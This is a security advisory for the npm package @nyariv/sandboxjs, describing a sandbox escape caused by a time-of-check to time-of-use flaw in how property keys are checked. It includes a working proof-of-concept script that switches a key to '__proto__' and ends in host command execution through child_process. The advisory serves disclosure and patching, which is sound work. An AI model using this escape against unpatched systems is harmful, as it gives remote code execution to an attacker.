@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @nyariv/sandboxjs | < 0.8.29 | 0.8.29 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
### Details
Even though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.
### PoC
```js
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();
```
### Impact
Remote code execution, if attacker can execute code inside the sandbox.
